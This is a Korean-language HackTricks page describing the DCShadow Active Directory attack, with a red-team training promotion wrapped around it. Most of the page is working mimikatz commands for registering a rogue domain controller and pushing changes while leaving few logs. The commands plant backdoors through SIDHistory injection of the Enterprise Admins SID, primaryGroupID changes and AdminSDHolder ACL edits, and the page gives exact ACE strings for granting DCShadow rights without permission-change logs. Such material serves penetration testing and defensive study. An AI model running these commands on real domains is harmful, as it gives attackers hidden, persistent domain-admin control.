{% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** ๐Ÿ’ฌ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ๐Ÿฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} # DCShadow AD์— **์ƒˆ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ**๋ฅผ ๋“ฑ๋กํ•˜๊ณ  ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ง€์ •๋œ ๊ฐ์ฒด์— **์†์„ฑ**(SIDHistory, SPNs...)์„ **๋กœ๊ทธ**๋ฅผ ๋‚จ๊ธฐ์ง€ ์•Š๊ณ  **ํ‘ธ์‹œ**ํ•ฉ๋‹ˆ๋‹ค. **DA** ๊ถŒํ•œ์ด ํ•„์š”ํ•˜๋ฉฐ **๋ฃจํŠธ ๋„๋ฉ”์ธ** ๋‚ด์— ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.\ ์ž˜๋ชป๋œ ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋งค์šฐ ๋ถˆ์พŒํ•œ ๋กœ๊ทธ๊ฐ€ ๋‚˜ํƒ€๋‚  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋ ค๋ฉด 2๊ฐœ์˜ mimikatz ์ธ์Šคํ„ด์Šค๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ํ•˜๋‚˜๋Š” SYSTEM ๊ถŒํ•œ์œผ๋กœ RPC ์„œ๋ฒ„๋ฅผ ์‹œ์ž‘ํ•˜๋ฉฐ(์—ฌ๊ธฐ์„œ ์ˆ˜ํ–‰ํ•  ๋ณ€๊ฒฝ ์‚ฌํ•ญ์„ ์ง€์ •ํ•ด์•ผ ํ•จ), ๋‹ค๋ฅธ ์ธ์Šคํ„ด์Šค๋Š” ๊ฐ’์„ ํ‘ธ์‹œํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค: {% code title="mimikatz1 (RPC servers)" %} ```bash !+ !processtoken lsadump::dcshadow /object:username /attribute:Description /value="My new description" ``` {% endcode %} {% code title="mimikatz2 (push) - DA ๋˜๋Š” ์œ ์‚ฌ ๊ถŒํ•œ ํ•„์š”" %} ```bash lsadump::dcshadow /push ``` {% endcode %} **`elevate::token`**๋Š” `mimikatz1` ์„ธ์…˜์—์„œ ์ž‘๋™ํ•˜์ง€ ์•Š์Œ์„ ์ฃผ์˜ํ•˜์„ธ์š”. ์ด๋Š” ์Šค๋ ˆ๋“œ์˜ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ค์ง€๋งŒ, ์šฐ๋ฆฌ๋Š” **ํ”„๋กœ์„ธ์Šค์˜ ๊ถŒํ•œ**์„ ์ƒ์Šน์‹œ์ผœ์•ผ ํ•ฉ๋‹ˆ๋‹ค.\ "LDAP" ๊ฐ์ฒด๋ฅผ ์„ ํƒํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค: `/object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local` DA ๋˜๋Š” ์ตœ์†Œํ•œ์˜ ๊ถŒํ•œ์„ ๊ฐ€์ง„ ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ ๋ณ€๊ฒฝ ์‚ฌํ•ญ์„ ํ‘ธ์‹œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: * **๋„๋ฉ”์ธ ๊ฐ์ฒด**์—์„œ: * _DS-Install-Replica_ (๋„๋ฉ”์ธ์—์„œ ๋ณต์ œ๋ณธ ์ถ”๊ฐ€/์ œ๊ฑฐ) * _DS-Replication-Manage-Topology_ (๋ณต์ œ ํ† ํด๋กœ์ง€ ๊ด€๋ฆฌ) * _DS-Replication-Synchronize_ (๋ณต์ œ ๋™๊ธฐํ™”) * **๊ตฌ์„ฑ ์ปจํ…Œ์ด๋„ˆ**์˜ **์‚ฌ์ดํŠธ ๊ฐ์ฒด** (๋ฐ ๊ทธ ์ž์‹๋“ค): * _CreateChild and DeleteChild_ * **DC๋กœ ๋“ฑ๋ก๋œ ์ปดํ“จํ„ฐ์˜ ๊ฐ์ฒด**: * _WriteProperty_ (์“ฐ๊ธฐ ์•„๋‹˜) * **๋Œ€์ƒ ๊ฐ์ฒด**: * _WriteProperty_ (์“ฐ๊ธฐ ์•„๋‹˜) [**Set-DCShadowPermissions**](https://github.com/samratashok/nishang/blob/master/ActiveDirectory/Set-DCShadowPermissions.ps1)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋น„๊ถŒํ•œ ์‚ฌ์šฉ์ž์—๊ฒŒ ์ด๋Ÿฌํ•œ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์ด๋กœ ์ธํ•ด ์ผ๋ถ€ ๋กœ๊ทธ๊ฐ€ ๋‚จ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค). ์ด๋Š” DA ๊ถŒํ•œ์„ ๊ฐ€์ง€๋Š” ๊ฒƒ๋ณด๋‹ค ํ›จ์”ฌ ๋” ์ œํ•œ์ ์ž…๋‹ˆ๋‹ค.\ ์˜ˆ๋ฅผ ๋“ค์–ด: `Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose` ์ด๋Š” _**mcorp-student1**_ ๋จธ์‹ ์— ๋กœ๊ทธ์ธํ•œ ์‚ฌ์šฉ์ž ์ด๋ฆ„ _**student1**_์ด ๊ฐ์ฒด _**root1user**_์— ๋Œ€ํ•ด DCShadow ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ## DCShadow๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐฑ๋„์–ด ์ƒ์„ฑํ•˜๊ธฐ {% code title="SIDHistory์— ์‚ฌ์šฉ์ž๋กœ์„œ Enterprise Admins ์„ค์ •" %} ```bash lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519 ``` {% endcode %} {% code title="์ฃผ ๊ทธ๋ฃน ID ๋ณ€๊ฒฝ (์‚ฌ์šฉ์ž๋ฅผ ๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž ๊ทธ๋ฃน์˜ ๊ตฌ์„ฑ์›์œผ๋กœ ์ถ”๊ฐ€)" %} ```bash lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519 ``` {% endcode %} {% code title="AdminSDHolder์˜ ntSecurityDescriptor ์ˆ˜์ • (์‚ฌ์šฉ์ž์—๊ฒŒ ์ „์ฒด ์ œ์–ด ๊ถŒํ•œ ๋ถ€์—ฌ)" %} ```bash #First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519 (New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl #Second, add to the ACE permissions to your user and push it using DCShadow lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value: ``` {% endcode %} ## Shadowception - DCShadow ๊ถŒํ•œ ๋ถ€์—ฌํ•˜๊ธฐ (์ˆ˜์ •๋œ ๊ถŒํ•œ ๋กœ๊ทธ ์—†์Œ) ๋‹ค์Œ ACE๋ฅผ ์‚ฌ์šฉ์ž SID์™€ ํ•จ๊ป˜ ์ถ”๊ฐ€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: * ๋„๋ฉ”์ธ ๊ฐ์ฒด์—์„œ: * `(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)` * `(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)` * `(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)` * ๊ณต๊ฒฉ์ž ์ปดํ“จํ„ฐ ๊ฐ์ฒด์—์„œ: `(A;;WP;;;UserSID)` * ๋Œ€์ƒ ์‚ฌ์šฉ์ž ๊ฐ์ฒด์—์„œ: `(A;;WP;;;UserSID)` * ๊ตฌ์„ฑ ์ปจํ…Œ์ด๋„ˆ์˜ ์‚ฌ์ดํŠธ ๊ฐ์ฒด์—์„œ: `(A;CI;CCDC;;;UserSID)` ๊ฐ์ฒด์˜ ํ˜„์žฌ ACE๋ฅผ ๊ฐ€์ ธ์˜ค๋ ค๋ฉด: `(New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=local")).psbase.ObjectSecurity.sddl` ์ด ๊ฒฝ์šฐ **์—ฌ๋Ÿฌ ๋ณ€๊ฒฝ์„** ํ•ด์•ผ ํ•œ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”, ๋‹จ ํ•˜๋‚˜์˜ ๋ณ€๊ฒฝ๋งŒ์ด ์•„๋‹™๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ **mimikatz1 ์„ธ์…˜** (RPC ์„œ๋ฒ„)์—์„œ ๋ณ€๊ฒฝํ•˜๊ณ ์ž ํ•˜๋Š” ๊ฐ ๋ณ€๊ฒฝ์— ๋Œ€ํ•ด **`/stack`** ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด **`/push`**๋ฅผ ํ•œ ๋ฒˆ๋งŒ ์ˆ˜ํ–‰ํ•˜์—ฌ ๋ชจ๋“  ์Šคํƒ๋œ ๋ณ€๊ฒฝ์„ ์•…์„ฑ ์„œ๋ฒ„์—์„œ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. [**DCShadow์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋Š” ired.team์—์„œ ํ™•์ธํ•˜์„ธ์š”.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-creating-rogue-domain-controllers-with-dcshadow) {% hint style="success" %} AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ณ  ์—ฐ์Šตํ•˜๊ธฐ:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ณ  ์—ฐ์Šตํ•˜๊ธฐ: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks ์ง€์›ํ•˜๊ธฐ * [**๊ตฌ๋… ๊ณ„ํš**](https://github.com/sponsors/carlospolop) ํ™•์ธํ•˜๊ธฐ! * **๐Ÿ’ฌ [**Discord ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋˜๋Š” [**ํ…”๋ ˆ๊ทธ๋žจ ๊ทธ๋ฃน**](https://t.me/peass)์— ์ฐธ์—ฌํ•˜๊ฑฐ๋‚˜ **Twitter** ๐Ÿฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**๋ฅผ ํŒ”๋กœ์šฐํ•˜์„ธ์š”.** * **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นƒํ—ˆ๋ธŒ ๋ฆฌํฌ์ง€ํ† ๋ฆฌ์— PR์„ ์ œ์ถœํ•˜์—ฌ ํ•ดํ‚น ํŠธ๋ฆญ์„ ๊ณต์œ ํ•˜์„ธ์š”.**
{% endhint %}